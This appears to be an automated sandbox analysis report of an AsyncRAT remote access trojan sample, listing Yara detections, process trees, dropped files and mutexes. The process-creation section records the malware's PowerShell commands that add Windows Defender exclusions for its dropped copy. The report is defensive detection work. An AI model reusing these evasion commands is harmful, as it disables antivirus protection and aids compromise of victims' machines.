Windows Analysis Report
3SBlY301oa.exe

Malicious sample detected (through community Yara rule)

System Summary

Source: 1.2.3SBlY301oa.exe.1a9cf4b9ba0.1.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 1.2.3SBlY301oa.exe.1a9cf4a4d58.3.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 3.2.jsc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 1.2.3SBlY301oa.exe.1a9cf4b9ba0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 1.2.3SBlY301oa.exe.1a9cf4a4d58.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000003.00000002.3783921795.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000001.00000002.1543708251.000001A9CF43B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\3SBlY301oa.exe	Code function: 1_2_00007FFAAB79E48D	1_2_00007FFAAB79E48D
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Code function: 1_2_00007FFAAB7A4BBE	1_2_00007FFAAB7A4BBE
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Code function: 1_2_00007FFAAB79BBA9	1_2_00007FFAAB79BBA9
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Code function: 1_2_00007FFAAB791988	1_2_00007FFAAB791988
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Code function: 1_2_00007FFAAB79418C	1_2_00007FFAAB79418C
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Code function: 1_2_00007FFAAB798728	1_2_00007FFAAB798728
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Code function: 1_2_00007FFAAB798720	1_2_00007FFAAB798720
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Code function: 1_2_00007FFAAB79143D	1_2_00007FFAAB79143D
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Code function: 1_2_00007FFAAB7A4C7D	1_2_00007FFAAB7A4C7D
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Code function: 1_2_00007FFAAB7A4C0B	1_2_00007FFAAB7A4C0B
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Code function: 1_2_00007FFAAB7A034F	1_2_00007FFAAB7A034F
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Code function: 1_2_00007FFAAB7A81D4	1_2_00007FFAAB7A81D4
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Code function: 1_2_00007FFAAB860055	1_2_00007FFAAB860055
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 3_2_02A54FA0	3_2_02A54FA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 3_2_02A51918	3_2_02A51918
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_049CB480	9_2_049CB480
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_049CB470	9_2_049CB470
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_089C3AA8	9_2_089C3AA8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_049AB498	12_2_049AB498
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_049AB488	12_2_049AB488
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_089B3AA8	12_2_089B3AA8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_04D8B4A0	15_2_04D8B4A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_04D8B490	15_2_04D8B490
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_08E03AA8	15_2_08E03AA8
Source: C:\Users\user\AppData\Roaming\jsc.exe	Code function: 20_2_04B4012C	20_2_04B4012C
Source: C:\Users\user\AppData\Roaming\jsc.exe	Code function: 20_2_04B4010C	20_2_04B4010C
Source: C:\Users\user\AppData\Roaming\jsc.exe	Code function: 20_2_04B40FE0	20_2_04B40FE0
Source: C:\Users\user\AppData\Roaming\jsc.exe	Code function: 20_2_04B40812	20_2_04B40812
Source: C:\Users\user\AppData\Roaming\jsc.exe	Code function: 22_2_04C4010C	22_2_04C4010C
Source: C:\Users\user\AppData\Roaming\jsc.exe	Code function: 22_2_04C4012C	22_2_04C4012C
Source: C:\Users\user\AppData\Roaming\jsc.exe	Code function: 22_2_04C40FE0	22_2_04C40FE0
Source: C:\Users\user\AppData\Roaming\jsc.exe	Code function: 22_2_04C400FF	22_2_04C400FF
Source: C:\Users\user\AppData\Roaming\jsc.exe	Code function: 22_2_04C400BA	22_2_04C400BA
Source: C:\Users\user\AppData\Roaming\jsc.exe	Code function: 22_2_04C40812	22_2_04C40812

Source: C:\Users\user\Desktop\3SBlY301oa.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7544 -s 1000

Source: 3SBlY301oa.exe

Static PE information: No import functions for PE file found

Source: 3SBlY301oa.exe, 00000001.00000002.1543708251.000001A9CF5E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUwohulayukoqiB vs 3SBlY301oa.exe
Source: 3SBlY301oa.exe, 00000001.00000000.1324102706.000001A9BD5C2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameEpebujokeha6 vs 3SBlY301oa.exe
Source: 3SBlY301oa.exe, 00000001.00000002.1543708251.000001A9CF43B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameXClient.exe4 vs 3SBlY301oa.exe
Source: 3SBlY301oa.exe, 00000001.00000002.1543708251.000001A9CF43B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUwohulayukoqiB vs 3SBlY301oa.exe
Source: 3SBlY301oa.exe, 00000001.00000002.1551373572.000001A9D7910000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameUwohulayukoqiB vs 3SBlY301oa.exe
Source: 3SBlY301oa.exe	Binary or memory string: OriginalFilenameEpebujokeha6 vs 3SBlY301oa.exe

Source: 1.2.3SBlY301oa.exe.1a9cf4b9ba0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 1.2.3SBlY301oa.exe.1a9cf4a4d58.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 3.2.jsc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 1.2.3SBlY301oa.exe.1a9cf4b9ba0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 1.2.3SBlY301oa.exe.1a9cf4a4d58.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000003.00000002.3783921795.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000001.00000002.1543708251.000001A9CF43B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: 1.2.3SBlY301oa.exe.1a9cf4b9ba0.1.raw.unpack, FLqkNq8t7ZY3Yw7PCsbqcLX8x9QP6PHSYCwnL7hC0R9W8ZtGfW.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.3SBlY301oa.exe.1a9cf4b9ba0.1.raw.unpack, uMFZ3idKKxij6umJX56sbWAs3uGIN8vVfA97nEr6GqFfLYtzqm.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.3SBlY301oa.exe.1a9cf4b9ba0.1.raw.unpack, uMFZ3idKKxij6umJX56sbWAs3uGIN8vVfA97nEr6GqFfLYtzqm.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.3SBlY301oa.exe.1a9cf4a4d58.3.raw.unpack, FLqkNq8t7ZY3Yw7PCsbqcLX8x9QP6PHSYCwnL7hC0R9W8ZtGfW.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.3SBlY301oa.exe.1a9cf4a4d58.3.raw.unpack, uMFZ3idKKxij6umJX56sbWAs3uGIN8vVfA97nEr6GqFfLYtzqm.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.3SBlY301oa.exe.1a9cf4a4d58.3.raw.unpack, uMFZ3idKKxij6umJX56sbWAs3uGIN8vVfA97nEr6GqFfLYtzqm.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 1.2.3SBlY301oa.exe.1a9cf4b9ba0.1.raw.unpack, movlZjapfA1NCF8ZJOoLgpY3f0iBEspN.cs	Base64 encoded string: 'NMBNdRmEgZ18WLKJTdAgUfFC7j2YUzFOghfraQJBkuoyJk1PGzmlF3zxy36h', 'Hd0YTG4GoOyEG4upKrGIqQqg0AZiLD2F5DmQggE42eXXCDnu0HtaASjXLN2DqpZ6Sr8xKxKC3vzqmAAjte2PhOTGrQPW', 'NK337S3Czh7hkGtpmNUM6KELttMJUKWieLm15gOG1EqaDwln2vSbNSnC7Ir5cuVjYyzGz7MTRVT3FkW6Z2dcRgSgg2xL', 'piKrxtHg9mQKF4dFNXCUwVqC0paMFxqv3ANVUJe4bAk1kYvmYjWmaSLoFs30Rj5IeKsmpJhPXiGbtdwmEdZr3ChojZcP', 'nUWZbRcrT7pXjVsBIPPjFoyT28FfMAjZ6EmdIxWO4c3knAvEmtF5qp03BiSgs28sDlOJKludGpcTJBEwh8siFeRpHRkY', 'sqKSh0jNV75kv8Yh7sv5nCeP1WHQZ38b0cbI63gQhwX8BzvXUMJ4RvZ5GSoSRUQVUdHnQ1K2zYqeEux0tOC2NmtIVNTD', 'pIpv79YF9AF1jfcBNAubb02wADjd8PyugmFtFDsUOOLtf8OkANGQxsX43XH4kPlEdZzUQidUGgioHtt805xz0Hw98sSk', 'ufz4uF6B2bBvfyH0wUAGE4hZasZy2uLd6yUKjnPPeyhfrndHX1WOAh3UC84PZZItEoEOponVRFMYdviz5dAgw4okGv1s', 'm7SXw5Tu5rd3MfTBqZuDPv5vk5iwi9fi8ugWbGgm9CDwoexHndJQPEPtZ5J7J05wiOtRJYlwYIX4kmnu2iHcp6NY1gtP'
Source: 1.2.3SBlY301oa.exe.1a9cf4b9ba0.1.raw.unpack, P7MVS4OnCoxDFg2mSN2v9joQ1CWIE3XazYIdBkMBopcpWcdVJqu0Cv9beHbBW0VybvJw0wynn3Few2MvVGmLS0f.cs	Base64 encoded string: 'z4QBANY1R3KvIto7KzFIkBoa4F3WKES1BnwN9eB6z58JGjxOP8SMO0OQQIjI', 'zKN23bJk4Z6NXjBtAPN5cQ4d86PaZ5Y61SEzvu1YVOgoMSuJVGRDFv16T4Ka', 'jh18L6GtPSYuzieEDBpVYE0vkTKyLETGgqkOCyWBFJ1vaezUMGmydECarc5b', 'hsodfulKFuS2FD19ePK49qCalEK4gxi7Y44WTs1LjAtm2sZJrD5V055UYyeQ', 'G5o2v3v9aWbj3MHVNP0DU2xev9Wx0fgtTrEhebmwRzGGUZE5DfUUdxoIEeS4', 'mTqemR2oMRDteBRmmfDl4tTCe8CVYZO8VDzeI6uq6H4jOKS2Wx2ybmqpgygz', 'GkJDRhUynJQFhxiS60clK5gnV2xe6pMap2pMxgMRa0vzbigOibkLBKs7wc2K', 'zNHWSL9xIu5YygS2pZoRMTjxMleL4l4RWIDuXWwcce7K69oujrxqlGI5r5Bh'
Source: 1.2.3SBlY301oa.exe.1a9cf4b9ba0.1.raw.unpack, Ov2ngEci2NSKf7CACuPsjFLprayb3eMsaf2hyKnAeHj9NgyiIGGoEZ784qGXyhn0f.cs	Base64 encoded string: 'j0qmG2jSe7TsvqRtZgboTdxIqwOAF0Y3JHBmv1GVRxDwReE7MEGF3UjnfDL1nGlqhRQS5NRhZU5i0qs0erhd73oZ2bPv'
Source: 1.2.3SBlY301oa.exe.1a9cf4b9ba0.1.raw.unpack, lEUGg6TA9ZXhbgEHfaMx1ThY0rstjl4mMi7j330wAMwhdD01Mrjs6w54EiOFdqtB4DyMgA4qQkZKvQFVFIZ6aNb.cs	Base64 encoded string: 'JBmtTW9n88bW72y68aqzvZZ0C3Lj0uKdLnCsXRxElX3p5zvjQUNF8niKhhP0'
Source: 1.2.3SBlY301oa.exe.1a9cf4a4d58.3.raw.unpack, movlZjapfA1NCF8ZJOoLgpY3f0iBEspN.cs	Base64 encoded string: 'NMBNdRmEgZ18WLKJTdAgUfFC7j2YUzFOghfraQJBkuoyJk1PGzmlF3zxy36h', 'Hd0YTG4GoOyEG4upKrGIqQqg0AZiLD2F5DmQggE42eXXCDnu0HtaASjXLN2DqpZ6Sr8xKxKC3vzqmAAjte2PhOTGrQPW', 'NK337S3Czh7hkGtpmNUM6KELttMJUKWieLm15gOG1EqaDwln2vSbNSnC7Ir5cuVjYyzGz7MTRVT3FkW6Z2dcRgSgg2xL', 'piKrxtHg9mQKF4dFNXCUwVqC0paMFxqv3ANVUJe4bAk1kYvmYjWmaSLoFs30Rj5IeKsmpJhPXiGbtdwmEdZr3ChojZcP', 'nUWZbRcrT7pXjVsBIPPjFoyT28FfMAjZ6EmdIxWO4c3knAvEmtF5qp03BiSgs28sDlOJKludGpcTJBEwh8siFeRpHRkY', 'sqKSh0jNV75kv8Yh7sv5nCeP1WHQZ38b0cbI63gQhwX8BzvXUMJ4RvZ5GSoSRUQVUdHnQ1K2zYqeEux0tOC2NmtIVNTD', 'pIpv79YF9AF1jfcBNAubb02wADjd8PyugmFtFDsUOOLtf8OkANGQxsX43XH4kPlEdZzUQidUGgioHtt805xz0Hw98sSk', 'ufz4uF6B2bBvfyH0wUAGE4hZasZy2uLd6yUKjnPPeyhfrndHX1WOAh3UC84PZZItEoEOponVRFMYdviz5dAgw4okGv1s', 'm7SXw5Tu5rd3MfTBqZuDPv5vk5iwi9fi8ugWbGgm9CDwoexHndJQPEPtZ5J7J05wiOtRJYlwYIX4kmnu2iHcp6NY1gtP'
Source: 1.2.3SBlY301oa.exe.1a9cf4a4d58.3.raw.unpack, P7MVS4OnCoxDFg2mSN2v9joQ1CWIE3XazYIdBkMBopcpWcdVJqu0Cv9beHbBW0VybvJw0wynn3Few2MvVGmLS0f.cs	Base64 encoded string: 'z4QBANY1R3KvIto7KzFIkBoa4F3WKES1BnwN9eB6z58JGjxOP8SMO0OQQIjI', 'zKN23bJk4Z6NXjBtAPN5cQ4d86PaZ5Y61SEzvu1YVOgoMSuJVGRDFv16T4Ka', 'jh18L6GtPSYuzieEDBpVYE0vkTKyLETGgqkOCyWBFJ1vaezUMGmydECarc5b', 'hsodfulKFuS2FD19ePK49qCalEK4gxi7Y44WTs1LjAtm2sZJrD5V055UYyeQ', 'G5o2v3v9aWbj3MHVNP0DU2xev9Wx0fgtTrEhebmwRzGGUZE5DfUUdxoIEeS4', 'mTqemR2oMRDteBRmmfDl4tTCe8CVYZO8VDzeI6uq6H4jOKS2Wx2ybmqpgygz', 'GkJDRhUynJQFhxiS60clK5gnV2xe6pMap2pMxgMRa0vzbigOibkLBKs7wc2K', 'zNHWSL9xIu5YygS2pZoRMTjxMleL4l4RWIDuXWwcce7K69oujrxqlGI5r5Bh'
Source: 1.2.3SBlY301oa.exe.1a9cf4a4d58.3.raw.unpack, Ov2ngEci2NSKf7CACuPsjFLprayb3eMsaf2hyKnAeHj9NgyiIGGoEZ784qGXyhn0f.cs	Base64 encoded string: 'j0qmG2jSe7TsvqRtZgboTdxIqwOAF0Y3JHBmv1GVRxDwReE7MEGF3UjnfDL1nGlqhRQS5NRhZU5i0qs0erhd73oZ2bPv'
Source: 1.2.3SBlY301oa.exe.1a9cf4a4d58.3.raw.unpack, lEUGg6TA9ZXhbgEHfaMx1ThY0rstjl4mMi7j330wAMwhdD01Mrjs6w54EiOFdqtB4DyMgA4qQkZKvQFVFIZ6aNb.cs	Base64 encoded string: 'JBmtTW9n88bW72y68aqzvZZ0C3Lj0uKdLnCsXRxElX3p5zvjQUNF8niKhhP0'

Source: 1.2.3SBlY301oa.exe.1a9cf4b9ba0.1.raw.unpack, P7MVS4OnCoxDFg2mSN2v9joQ1CWIE3XazYIdBkMBopcpWcdVJqu0Cv9beHbBW0VybvJw0wynn3Few2MvVGmLS0f.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 1.2.3SBlY301oa.exe.1a9cf4b9ba0.1.raw.unpack, P7MVS4OnCoxDFg2mSN2v9joQ1CWIE3XazYIdBkMBopcpWcdVJqu0Cv9beHbBW0VybvJw0wynn3Few2MvVGmLS0f.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 1.2.3SBlY301oa.exe.1a9cf4a4d58.3.raw.unpack, P7MVS4OnCoxDFg2mSN2v9joQ1CWIE3XazYIdBkMBopcpWcdVJqu0Cv9beHbBW0VybvJw0wynn3Few2MvVGmLS0f.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 1.2.3SBlY301oa.exe.1a9cf4a4d58.3.raw.unpack, P7MVS4OnCoxDFg2mSN2v9joQ1CWIE3XazYIdBkMBopcpWcdVJqu0Cv9beHbBW0VybvJw0wynn3Few2MvVGmLS0f.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.expl.evad.winEXE@19/24@4/1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

File created: C:\Users\user\AppData\Roaming\jsc.exe

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7896:120:WilError_03
Source: C:\Users\user\AppData\Roaming\jsc.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2992:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2384:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8108:120:WilError_03
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7544
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Mutant created: \Sessions\1\BaseNamedObjects\VeR72e1DfqWDLw8O
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2352:120:WilError_03

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

File created: C:\Users\user\AppData\Local\Temp\Log.tmp

Source: 3SBlY301oa.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Users\user\Desktop\3SBlY301oa.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: 3SBlY301oa.exe

ReversingLabs: Detection: 71%

Source: C:\Users\user\Desktop\3SBlY301oa.exe

File read: C:\Users\user\Desktop\3SBlY301oa.exe

Source: unknown	Process created: C:\Users\user\Desktop\3SBlY301oa.exe "C:\Users\user\Desktop\3SBlY301oa.exe"
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7544 -s 1000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe'
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'jsc.exe'
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\jsc.exe'
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\jsc.exe "C:\Users\user\AppData\Roaming\jsc.exe"
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\jsc.exe "C:\Users\user\AppData\Roaming\jsc.exe"
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe'	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'jsc.exe'	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\jsc.exe'	Jump to behavior

Source: C:\Users\user\Desktop\3SBlY301oa.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: scrrun.dll	Jump to behavior
